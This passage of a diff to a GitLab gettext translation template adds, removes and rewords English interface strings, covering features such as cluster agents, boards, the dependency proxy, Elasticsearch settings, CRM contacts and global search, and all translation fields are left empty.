-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
